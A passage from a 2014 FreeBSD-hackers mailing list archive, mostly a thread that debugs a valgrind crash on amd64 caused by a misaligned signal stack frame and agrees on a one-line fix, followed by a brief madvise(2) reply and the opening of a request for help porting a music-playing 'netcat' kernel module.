(SIG_BLOCK), newset = 0x22C4F8 (fffffffffffffffffffffffffffff107) --55627-- oldset=0x7FEFFFC60 00000000000000000000000000000000 --55627-- do_setmask: tid = 1 how = 3 (SIG_SETMASK), newset = 0x22C50C (00000000000000000000000000000000) --55627-- do_setmask: tid = 1 how = 1 (SIG_BLOCK), newset = 0x22C4F8 (fffffffffffffffffffffffffffff107) --55627-- oldset=0x7FEFFF7F0 00000000000000000000000000000000 --55627-- do_setmask: tid = 1 how = 3 (SIG_SETMASK), newset = 0x22C50C (00000000000000000000000000000000) --55627-- do_setmask: tid = 1 how = 1 (SIG_BLOCK), newset = 0x22C4F8 (fffffffffffffffffffffffffffff107) --55627-- oldset=0x7FEFFF7F0 00000000000000000000000000000000 --55627-- do_setmask: tid = 1 how = 3 (SIG_SETMASK), newset = 0x22C50C (00000000000000000000000000000000) --55627-- do_setmask: tid = 1 how = 1 (SIG_BLOCK), newset = 0x22C4F8 (fffffffffffffffffffffffffffff107) --55627-- oldset=0x7FEFFF7F0 00000000000000000000000000000000 --55627-- do_setmask: tid = 1 how = 3 (SIG_SETMASK), newset = 0x22C50C (00000000000000000000000000000000) --55627-- sys_sigaction: sigNo 32, new 0x7fefff7b8, old 0x0, new flags 0x40 --55627-- do_setmask: tid = 1 how = 2 (SIG_UNBLOCK), newset = 0x7FEFFF7C4 (00000000000000000000000080000000) --55627-- do_setmask: tid = 1 how = 1 (SIG_BLOCK), newset = 0x1220D18 (ffffffffffffffffffffffffffffffff) --55627-- oldset=0x1C00128 00000000000000000000000000000000 --55627-- do_setmask: tid = 1 how = 3 (SIG_SETMASK), newset = 0x1C00128 (00000000000000000000000000000000) --55627-- do_setmask: tid = 1 how = 3 (SIG_SETMASK), newset = 0x1220D18 (ffffffffffffffffffffffffffffffff) --55627-- oldset=0x7FF0005B0 00000000000000000000000000000000 --55627-- sys_sigaction: sigNo 2, new 0x7ff000600, old 0x7ff0005e0, new flags 0x42 --55627-- do_setmask: tid = 1 how = 3 (SIG_SETMASK), newset = 0x7FF0005B0 (00000000000000000000000000000000) ^C--55627-- async signal handler: signal=2, tid=1, si_code=65542 --55627-- interrupted_syscall: tid=1, ip=0x380ca816, restart=True, sres.isErr=True, sres.val=4 --55627-- completed, but uncommitted: committing --55627-- delivering signal 2 (SIGINT):65542 to thread 1 --55627-- push_signal_frame (thread 1): signal 2 ==55627== at 0x1541A4A: nanosleep (nanosleep.S:3) ==55627== by 0x1492B29: sleep (sleep.c:58) ==55627== by 0x1217C12: sleep (thr_syscalls.c:614) ==55627== by 0x4007D7: main (test_sa.c:19) --55627-- sys_sigaction: sigNo 11, new 0x4012c3e78, old 0x0, new flags 0x0 --55627-- delivering signal 11 (SIGSEGV):128 to thread 1 --55627-- delivering 11 (code 128) to default handler; action: terminate+core ==55627== ==55627== Process terminating with default action of signal 11 (SIGSEGV): dumping core ==55627== General Protection Fault ==55627== at 0x1219F3C: ??? (thr_sig.c:162) ==55627== by 0x380529C7: ??? (m_trampoline.S:713) ==55627== by 0x1217C12: sleep (thr_syscalls.c:614) ==55627== by 0x4007D7: main (test_sa.c:19) ==55627== ==55627== HEAP SUMMARY: ==55627== in use at exit: 1,080 bytes in 2 blocks ==55627== total heap usage: 2 allocs, 0 frees, 1,080 bytes allocated ==55627== ==55627== LEAK SUMMARY: ==55627== definitely lost: 0 bytes in 0 blocks ==55627== indirectly lost: 0 bytes in 0 blocks ==55627== possibly lost: 0 bytes in 0 blocks ==55627== still reachable: 1,080 bytes in 2 blocks ==55627== suppressed: 0 bytes in 0 blocks ==55627== Rerun with --leak-check=full to see details of leaked memory ==55627== ==55627== For counts of detected and suppressed errors, rerun with: -v ==55627== ERROR SUMMARY: 0 errors from 0 contexts (suppressed: 0 from 0) zsh: segmentation fault valgrind --trace-signals=yes ./test_sa I tracked it to r249423 (import of clang 3.3), which optimizes this statement in the signal handler wrapper from thr_sig.c: static void thr_sighandler(int sig, siginfo_t *info, void *_ucp) { ... struct sigaction act; ... act = _thr_sigact[sig-1].sigact; into a sequence of movups/movaps instructions: 0x000000000000dc2f <+79>: movups (%r14,%r15,1),%xmm0 0x000000000000dc34 <+84>: movups 0x10(%r14,%r15,1),%xmm1 0x000000000000dc3a <+90>: movaps %xmm1,-0x40(%rbp) 0x000000000000dc3e <+94>: movaps %xmm0,-0x50(%rbp) I have lost in valgrind signal handling details, but apparently the frame for thr_sighandler() is misaligned when running by valgrind and as a result the movaps operand (the destination of act local variable) is not aligned on a 16-byte boundary. The prblem may be workarounded either by compiling thr_sig.c without optimization or replacing the assignment by bcopy(). Also, changing the alignment of the sigframe the valgrind pushes on the stack when delivering a signal to 8 bytes fixes the issue: --- coregrind/m_sigframe/sigframe-amd64-freebsd.c.orig 2014-04-23 22:39:45.000000000 +0300 +++ coregrind/m_sigframe/sigframe-amd64-freebsd.c 2014-04-23 22:40:23.000000000 +0300 @@ -250,7 +250,7 @@ static Addr build_sigframe(ThreadState * UWord err; rsp -= sizeof(*frame); - rsp = VG_ROUNDDN(rsp, 16); + rsp = VG_ROUNDDN(rsp, 16) - 8; frame = (struct sigframe *)rsp; if (!extend(tst, rsp, sizeof(*frame))) Unfortunately, I have poor understanding of valgrind internals and what is going on exactly when it delivers a signal to the process, so failed to find a proper fix. -- Mikolaj Golub From owner-freebsd-hackers@FreeBSD.ORG Thu Apr 24 03:33:35 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id C7B2A8C4; Thu, 24 Apr 2014 03:33:35 +0000 (UTC) Received: from dmz-mailsec-scanner-5.mit.edu (dmz-mailsec-scanner-5.mit.edu [18.7.68.34]) by mx1.freebsd.org (Postfix) with ESMTP id DE6FB1CE3; Thu, 24 Apr 2014 03:33:34 +0000 (UTC) X-AuditID: 12074422-f79186d00000135a-17-535884dc9ad6 Received: from mailhub-auth-4.mit.edu ( [18.7.62.39]) (using TLS with cipher AES256-SHA (256/256 bits)) (Client did not present a certificate) by dmz-mailsec-scanner-5.mit.edu (Symantec Messaging Gateway) with SMTP id 71.59.04954.CD488535; Wed, 23 Apr 2014 23:28:28 -0400 (EDT) Received: from outgoing.mit.edu (outgoing-auth-1.mit.edu [18.9.28.11]) by mailhub-auth-4.mit.edu (8.13.8/8.9.2) with ESMTP id s3O3SROe009786; Wed, 23 Apr 2014 23:28:28 -0400 Received: from multics.mit.edu (system-low-sipb.mit.edu [18.187.2.37]) (authenticated bits=56) (User authenticated as kaduk@ATHENA.MIT.EDU) by outgoing.mit.edu (8.13.8/8.12.4) with ESMTP id s3O3SP4J002206 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Wed, 23 Apr 2014 23:28:27 -0400 Received: (from kaduk@localhost) by multics.mit.edu (8.12.9.20060308) id s3O3SP6H007560; Wed, 23 Apr 2014 23:28:25 -0400 (EDT) Date: Wed, 23 Apr 2014 23:28:25 -0400 (EDT) From: Benjamin Kaduk To: Mikolaj Golub Subject: Re: valgrind on amd64 crashes when delivering signal for threaded application In-Reply-To: <20140423200135.GA6009@gmail.com> Message-ID: References: <20140423200135.GA6009@gmail.com> User-Agent: Alpine 1.10 (GSO 962 2008-03-14) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Brightmail-Tracker: H4sIAAAAAAAAA+NgFnrDIsWRmVeSWpSXmKPExsUixG6nrnunJSLYoGu9hMX2zf8YLbquXGSz mHzsMLsDs8eMT/NZAhijuGxSUnMyy1KL9O0SuDJOLI8taBWv+HbjGXsD4yKhLkZODgkBE4kN D44xQ9hiEhfurWfrYuTiEBKYzSTxcN89FghnI6PEr/sTGCGcQ0wSV5cvZIJwGhgljpzeyArS zyKgLXHww16wWWwCKhIz32xkA7FFBNQltm58ywRiMws4S5x8dIIFxBYWiJD48LoLaCoHB6eA nsTK6YYgYV4BR4kTn3+BlQgJ6Er8P3wYrFVUQEdi9f4pLBA1ghInZz5hgRhpKXHuz3W2CYyC s5CkZiFJLWBkWsUom5JbpZubmJlTnJqsW5ycmJeXWqRrqpebWaKXmlK6iREcqC5KOxh/HlQ6 xCjAwajEw3vgQniwEGtiWXFl7iFGSQ4mJVHeWU0RwUJ8SfkplRmJxRnxRaU5qcWHGCU4mJVE eA/WAOV4UxIrq1KL8mFS0hwsSuK8b62tgoUE0hNLUrNTUwtSi2CyMhwcShK8V5uBGgWLUtNT K9Iyc0oQ0kwcnCDDeYCGrwap4S0uSMwtzkyHyJ9iVJQS51UHSQiAJDJK8+B6YYnkFaM40CvC vDtBqniASQiu+xXQYCagwQUTwkEGlyQipKQaGNV2ry9SDjsybafjnoSX3Gvn7PX12M58ydZ/ ZgZ70MsJd3OmXNXq6Xrn4zddTvZy6/rAkqjInzOXbql89V1qxQSPOs1Th08/41ubY5Lr5b+3 fLHPglULmnyur2u+onjvuNTsQMZL2xbEdKRzL+ft1fOZmfNZd4Zm1kuOY+khW9T7M/ftzPj6 VUiJpTgj0VCLuag4EQAl5zZD/wIAAA== Cc: Stanislav Sedov , freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 24 Apr 2014 03:33:35 -0000 On Wed, 23 Apr 2014, Mikolaj Golub wrote: > I am observing an issue with valgrind on amd64 CURRENT or 10, when it I cannot remember whether we changed the stack alignment on one or both of i386 and amd64 when we switched to clang; I think we did, but am having trouble finding it in the archives. Though, I think it would have been to match what clang does by default on linux, which would not really help explain the weird behavior from valgrind. > I tracked it to r249423 (import of clang 3.3), which optimizes > this statement in the signal handler wrapper from thr_sig.c: > > static void > thr_sighandler(int sig, siginfo_t *info, void *_ucp) > { > ... > struct sigaction act; > ... > act = _thr_sigact[sig-1].sigact; > > into a sequence of movups/movaps instructions: > > 0x000000000000dc2f <+79>: movups (%r14,%r15,1),%xmm0 > 0x000000000000dc34 <+84>: movups 0x10(%r14,%r15,1),%xmm1 > 0x000000000000dc3a <+90>: movaps %xmm1,-0x40(%rbp) > 0x000000000000dc3e <+94>: movaps %xmm0,-0x50(%rbp) > > I have lost in valgrind signal handling details, but apparently the > frame for thr_sighandler() is misaligned when running by valgrind and > as a result the movaps operand (the destination of act local variable) > is not aligned on a 16-byte boundary. > > The prblem may be workarounded either by compiling thr_sig.c without > optimization or replacing the assignment by bcopy(). > > Also, changing the alignment of the sigframe the valgrind pushes on > the stack when delivering a signal to 8 bytes fixes the issue: > > --- coregrind/m_sigframe/sigframe-amd64-freebsd.c.orig 2014-04-23 22:39:45.000000000 +0300 > +++ coregrind/m_sigframe/sigframe-amd64-freebsd.c 2014-04-23 22:40:23.000000000 +0300 > @@ -250,7 +250,7 @@ static Addr build_sigframe(ThreadState * > UWord err; > > rsp -= sizeof(*frame); > - rsp = VG_ROUNDDN(rsp, 16); > + rsp = VG_ROUNDDN(rsp, 16) - 8; I would expect that the fact that this patch fixes the observed crash means that valgrind has a bug when setting up the stack for the signal handler. I had to work around an apparently similar bug in the built-in lightweight thread implementation in net/openafs by forcing -mstack-realign to be used for its compilation (because analyzing the lightweight threads implementation when upstream is trying to switch to pthreads is not worth the effort). I guess here the thing to try would be compiling libthr with -mstack-realign, not that that is a reasonable thing to do in head. Perhaps the valgrind upstream should be asked about the details of the stack creation? -Ben > frame = (struct sigframe *)rsp; > > if (!extend(tst, rsp, sizeof(*frame))) > > Unfortunately, I have poor understanding of valgrind internals and > what is going on exactly when it delivers a signal to the process, so > failed to find a proper fix. From owner-freebsd-hackers@FreeBSD.ORG Thu Apr 24 06:13:21 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 80ABAF4A; Thu, 24 Apr 2014 06:13:21 +0000 (UTC) Received: from mail-la0-x22c.google.com (mail-la0-x22c.google.com [IPv6:2a00:1450:4010:c03::22c]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id D0D1D1AD8; Thu, 24 Apr 2014 06:13:20 +0000 (UTC) Received: by mail-la0-f44.google.com with SMTP id b8so1637567lan.17 for ; Wed, 23 Apr 2014 23:13:18 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=date:from:to:cc:subject:message-id:references:mime-version :content-type:content-disposition:in-reply-to:user-agent; bh=1ZjVSvQ3R4LTvr8uTdRgpVv/Anu89LPsw5774C8lorI=; b=EZv1s6U6CBF+j9AihqkTx3c6HuhTOZNNozh9EovXZbM655yKE5Y03/s+SM8VpOrerN x0OO1moxej98anlOUxGgsxyQJoWz271Kw68455l/JXVbk4ZVBdIox3BmLVU09IonpIoC RgPI2gBWDFmDrqNcvcOlKWU1DqzdJqcVVBLMQ64bx74J0F7SQ0DT9ijQhfHJ+wndd2TU 3Jk/bMvWdRcE38UrSIvA9KcugllzuRmywScFB8KpuGWs3wL0CF+23l4trt3zuh+byDW6 g6tWuCAyxb9APoK/ks9J3jCDAeFuuYpvFAbtzxAxFCdecgVeYF5JjQXuua2UmHwYKFg8 P9qg== X-Received: by 10.153.7.69 with SMTP id da5mr598737lad.38.1398319998748; Wed, 23 Apr 2014 23:13:18 -0700 (PDT) Received: from localhost ([188.230.122.226]) by mx.google.com with ESMTPSA id cr6sm3427660lbb.19.2014.04.23.23.13.17 for (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Wed, 23 Apr 2014 23:13:18 -0700 (PDT) Date: Thu, 24 Apr 2014 09:13:15 +0300 From: Mikolaj Golub To: Benjamin Kaduk Subject: Re: valgrind on amd64 crashes when delivering signal for threaded application Message-ID: <20140424061314.GA10637@gmail.com> References: <20140423200135.GA6009@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.22 (2013-10-16) Cc: Stanislav Sedov , freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 24 Apr 2014 06:13:21 -0000 On Wed, Apr 23, 2014 at 11:28:25PM -0400, Benjamin Kaduk wrote: > I would expect that the fact that this patch fixes the observed crash > means that valgrind has a bug when setting up the stack for the signal > handler. I had to work around an apparently similar bug in the built-in > lightweight thread implementation in net/openafs by forcing > -mstack-realign to be used for its compilation (because analyzing the > lightweight threads implementation when upstream is trying to switch to > pthreads is not worth the effort). I guess here the thing to try would be > compiling libthr with -mstack-realign, not that that is a reasonable thing > to do in head. Yes, compilng thr_sig.c with -mstackrealign helps too. I see force_align_arg_pointer attribute mentioned in gcc manuals, which should do the same per function, but get "unknown attribute 'force_align_arg_pointer' ignored" error when trying to declare thr_sighandler() with it. > Perhaps the valgrind upstream should be asked about the > details of the stack creation? I am not sure who I should ask. It looks the ustream does not support freebsd. -- Mikolaj Golub From owner-freebsd-hackers@FreeBSD.ORG Thu Apr 24 06:19:33 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 2FAD2124; Thu, 24 Apr 2014 06:19:33 +0000 (UTC) Received: from mx0.deglitch.com (unknown [IPv6:2001:16d8:ff00:19d::2]) by mx1.freebsd.org (Postfix) with ESMTP id D9F831B05; Thu, 24 Apr 2014 06:19:32 +0000 (UTC) Received: from [192.168.11.7] (unknown [98.234.106.231]) by mx0.deglitch.com (Postfix) with ESMTPSA id C19208FC27; Thu, 24 Apr 2014 10:19:04 +0400 (MSK) Content-Type: text/plain; charset=us-ascii Mime-Version: 1.0 (Mac OS X Mail 7.2 \(1874\)) Subject: Re: valgrind on amd64 crashes when delivering signal for threaded application From: Stanislav Sedov In-Reply-To: <20140423200135.GA6009@gmail.com> Date: Wed, 23 Apr 2014 23:18:57 -0700 Content-Transfer-Encoding: quoted-printable Message-Id: <5FDC5FC6-8748-494C-982B-0CEF734BD883@freebsd.org> References: <20140423200135.GA6009@gmail.com> To: Mikolaj Golub X-Mailer: Apple Mail (2.1874) Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 24 Apr 2014 06:19:33 -0000 On Apr 23, 2014, at 1:01 PM, Mikolaj Golub wrote: > --- coregrind/m_sigframe/sigframe-amd64-freebsd.c.orig 2014-04-23 = 22:39:45.000000000 +0300 > +++ coregrind/m_sigframe/sigframe-amd64-freebsd.c 2014-04-23 = 22:40:23.000000000 +0300 > @@ -250,7 +250,7 @@ static Addr build_sigframe(ThreadState * > UWord err; >=20 > rsp -=3D sizeof(*frame); > - rsp =3D VG_ROUNDDN(rsp, 16); > + rsp =3D VG_ROUNDDN(rsp, 16) - 8; > frame =3D (struct sigframe *)rsp; >=20 > if (!extend(tst, rsp, sizeof(*frame))) >=20 > Unfortunately, I have poor understanding of valgrind internals and > what is going on exactly when it delivers a signal to the process, so > failed to find a proper fix. This sounds like a proper solution to me though. Stack handling in = valgrind is indeed convoluted, but it seems in this case it clearly misaligns the = stack as it does not take into account the return address. Any objections if = I commit this fix to valgrind-freebsd? Thanks a lot for tracking this! -- ST4096-RIPE From owner-freebsd-hackers@FreeBSD.ORG Thu Apr 24 06:51:17 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 86F6465C; Thu, 24 Apr 2014 06:51:17 +0000 (UTC) Received: from mail-lb0-x22f.google.com (mail-lb0-x22f.google.com [IPv6:2a00:1450:4010:c04::22f]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id D7D251E42; Thu, 24 Apr 2014 06:51:16 +0000 (UTC) Received: by mail-lb0-f175.google.com with SMTP id w7so1658054lbi.34 for ; Wed, 23 Apr 2014 23:51:14 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=date:from:to:cc:subject:message-id:references:mime-version :content-type:content-disposition:in-reply-to:user-agent; bh=5v6D1qbKyyHFUsHc27NvUBLUrdNU+LdiRvCZ8gXoVsI=; b=L8oOcVfftc8uOdg4QAU3GayO0BLtq3nOMXpIXgyj5xWO+jipo/vmhMqFTDLibqVKrL k4Mw7HfFThJHJOBaexDdjkE5pXefXDhYAnGaYC79uTywv9Vo0UAQRCduVLmYoPvxFhr0 rsVEulTozottLHkPpTPpxRrfqdmLW2p2bnhBkd+cEz4d1uKXzvuqnLmTsJv4Kwt55AOx HKTwxXc1s97dqOzUuZj0gjwng+JG/MWEcEPNtfEEMFVWmgtIH26zhdFcDMVgEC26kncP +UxH66O6mXp12AuVdDjHiauyi413c+vWu8HTfhDeiz15NRrWgtb40DPndUIwH7Ck2qra BFxg== X-Received: by 10.112.89.234 with SMTP id br10mr43850lbb.60.1398322274790; Wed, 23 Apr 2014 23:51:14 -0700 (PDT) Received: from localhost ([188.230.122.226]) by mx.google.com with ESMTPSA id mw10sm3515084lbb.24.2014.04.23.23.51.13 for (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Wed, 23 Apr 2014 23:51:13 -0700 (PDT) Date: Thu, 24 Apr 2014 09:51:11 +0300 From: Mikolaj Golub To: Stanislav Sedov Subject: Re: valgrind on amd64 crashes when delivering signal for threaded application Message-ID: <20140424065110.GB10637@gmail.com> References: <20140423200135.GA6009@gmail.com> <5FDC5FC6-8748-494C-982B-0CEF734BD883@freebsd.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <5FDC5FC6-8748-494C-982B-0CEF734BD883@freebsd.org> User-Agent: Mutt/1.5.22 (2013-10-16) Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 24 Apr 2014 06:51:17 -0000 On Wed, Apr 23, 2014 at 11:18:57PM -0700, Stanislav Sedov wrote: > > On Apr 23, 2014, at 1:01 PM, Mikolaj Golub wrote: > > > --- coregrind/m_sigframe/sigframe-amd64-freebsd.c.orig 2014-04-23 22:39:45.000000000 +0300 > > +++ coregrind/m_sigframe/sigframe-amd64-freebsd.c 2014-04-23 22:40:23.000000000 +0300 > > @@ -250,7 +250,7 @@ static Addr build_sigframe(ThreadState * > > UWord err; > > > > rsp -= sizeof(*frame); > > - rsp = VG_ROUNDDN(rsp, 16); > > + rsp = VG_ROUNDDN(rsp, 16) - 8; > > frame = (struct sigframe *)rsp; > > > > if (!extend(tst, rsp, sizeof(*frame))) > > > > Unfortunately, I have poor understanding of valgrind internals and > > what is going on exactly when it delivers a signal to the process, so > > failed to find a proper fix. > > This sounds like a proper solution to me though. Stack handling in valgrind > is indeed convoluted, but it seems in this case it clearly misaligns the stack > as it does not take into account the return address. Any objections if I commit > this fix to valgrind-freebsd? Sure, no objections from my side. Thanks. -- Mikolaj Golub From owner-freebsd-hackers@FreeBSD.ORG Thu Apr 24 15:26:51 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id CCCBDB55 for ; Thu, 24 Apr 2014 15:26:51 +0000 (UTC) Received: from mail-ee0-x230.google.com (mail-ee0-x230.google.com [IPv6:2a00:1450:4013:c00::230]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 61481188B for ; Thu, 24 Apr 2014 15:26:51 +0000 (UTC) Received: by mail-ee0-f48.google.com with SMTP id b57so1974351eek.35 for ; Thu, 24 Apr 2014 08:26:49 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=sender:subject:mime-version:content-type:from:in-reply-to:date:cc :content-transfer-encoding:message-id:references:to; bh=CqPKvJXWLk6+DlpDjOjU3HuhQ4Q0JwgzuxtX1NNv4BE=; b=Y2vgMmVhFIvuUcQOKKrXvO2k+vQmru582OLT1HkZM6E78Yv6jTqitW0FGrC5AcRLDI /PmNaVZ2bRm2hL9gtwmfxs8WfOS+xpxoVhFNx7AVLSzW+vFTlgYK55RktwN1MovGJyDN R43vs2divCgDXgfJ+zlSQlxYOx3k2kgOotDIHRdFpdkO96HpLX2EFaakVirZFCnYMVYm LNVYePOu5xtYN616lUxlYEl90IAr1r0bog3GWgMrxljcZbQngLAzW7b1YnJ1rEHCF0Wj bMvlKDhx5gQP5CAgMnesgASwQA6Kz6tT1SKWzVvnucJI5EPk7vbNpB5EWl0VVJpAh6NU QHiA== X-Received: by 10.14.213.6 with SMTP id z6mr3123297eeo.98.1398353209738; Thu, 24 Apr 2014 08:26:49 -0700 (PDT) Received: from strashydlo.home (acc234.neoplus.adsl.tpnet.pl. [83.25.54.234]) by mx.google.com with ESMTPSA id m42sm16677297eex.21.2014.04.24.08.26.46 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Thu, 24 Apr 2014 08:26:47 -0700 (PDT) Sender: =?UTF-8?Q?Edward_Tomasz_Napiera=C5=82a?= Subject: Re: Priotizing pages to be swapped-out Mime-Version: 1.0 (Apple Message framework v1283) Content-Type: text/plain; charset=iso-8859-2 From: =?iso-8859-2?Q?Edward_Tomasz_Napiera=B3a?= In-Reply-To: <1398200734.20818.YahooMailNeo@web181703.mail.ne1.yahoo.com> Date: Thu, 24 Apr 2014 17:26:45 +0200 Content-Transfer-Encoding: quoted-printable Message-Id: <3FE8172F-057E-426E-9981-67A77B7FC352@FreeBSD.org> References: <1398200734.20818.YahooMailNeo@web181703.mail.ne1.yahoo.com> To: Sushanth Rai X-Mailer: Apple Mail (2.1283) Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 24 Apr 2014 15:26:51 -0000 Wiadomo=B6=E6 napisana przez Sushanth Rai w dniu 22 kwi 2014, o godz. = 23:05: > Is there any mechanism for a privileged user application to provide a = hint to kernel to prioritize some user pages to be swapped-out later = (after all the "lower" priority pages have been swapped-out) See madvise(2), perhaps? From owner-freebsd-hackers@FreeBSD.ORG Fri Apr 25 05:42:46 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id D48CD51C for ; Fri, 25 Apr 2014 05:42:46 +0000 (UTC) Received: from mail-qc0-x234.google.com (mail-qc0-x234.google.com [IPv6:2607:f8b0:400d:c01::234]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 9391B10F5 for ; Fri, 25 Apr 2014 05:42:46 +0000 (UTC) Received: by mail-qc0-f180.google.com with SMTP id w7so3535864qcr.25 for ; Thu, 24 Apr 2014 22:42:44 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=eitanadler.com; s=0xdeadbeef; h=mime-version:from:date:message-id:subject:to:content-type; bh=fU/3fwB/hwO3emrh3O9I3b4527qYwv83Nw3tgkkQ7CE=; b=JTcarKjKdy6pbmSpGfYacPO7y7FG3HIzAhr8+Ck9F3C0sswH1pXEkSH2K6t07fIqB4 b3IaMtmhLUiC/eAZs47V6qQq/g26+eLgkWWA8Rh5zd1UOZ6zRPYbNtlj8T9716ONw2GL Z1Z6fgEFdSzzIoOSvz47RKvuWd6It2nPA3vHI= X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:from:date:message-id:subject:to :content-type; bh=fU/3fwB/hwO3emrh3O9I3b4527qYwv83Nw3tgkkQ7CE=; b=d/l1CCuUv5AP5V3MYF3pJk/5cCuCw7sKIynpX5Lz+hWQ6vFVHMYw4v2U3RLhEdpmJ6 Ax63FVPOOZG0ebAPOChk0zTucxI1lizqGx5TsjFOa2iG1viiQjmCTaKh5lwEB5dRJfVZ TWOf6cdmkt2/b/gf5wWq9mRoqw3IkeetSCq5XukvQIVpjemabGLAX/eKr7ywmzv31YR0 bM4TA9ei1SrRtehK2OGotTye9yxxYo6WfwY2L6GoVbv4LP1fWMoAm2oZAevENyliJbgn y6oqr5xypa2XVAS+NOumwSEzYz4/WlbR3pHAHgiZ2vci6e56XYPMhRc22/PQOBCwzniQ v8FA== X-Gm-Message-State: ALoCoQlq27ZA3n1JZDGt2odytCCx52+kF0Mls2GBWdP182BJZFcNb9tiq1CEKbh49HYNEp3Ayyb9 X-Received: by 10.224.67.131 with SMTP id r3mr8672511qai.75.1398404564816; Thu, 24 Apr 2014 22:42:44 -0700 (PDT) MIME-Version: 1.0 Received: by 10.96.54.102 with HTTP; Thu, 24 Apr 2014 22:42:14 -0700 (PDT) From: Eitan Adler Date: Thu, 24 Apr 2014 22:42:14 -0700 Message-ID: Subject: request for help: netcat kernel module for FreeBSD To: FreeBSD Hackers Content-Type: text/plain; charset=UTF-8 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 25 Apr 2014 05:42:46 -0000 Hi all, In an effort to teach myself how to write a kernel module I decided to port the netcat kernel module to FreeBSD. For those that havn't heard of it, the original is here: https://github.com/usrbinnc/netcat-cpi-kernel-module. You will need the original to compile this as well (for the data files) N.B. This is not intended to commit. When I load this module the system just freezes. If I put a return (0); right before make_dev_p it works. Can anyone help me figure out what else I did wrong. (read() code is untested atm) #include #include #include #include #include /* cdevsw struct */ #include #include #include "tracks/trk1.h" #include "tracks/trk2.h" #include "tracks/trk3.h" #include "tracks/trk4.h" #include "tracks/trk5.h" #include "tracks/trk6.h" /* Function prototypes */ static d_open_t 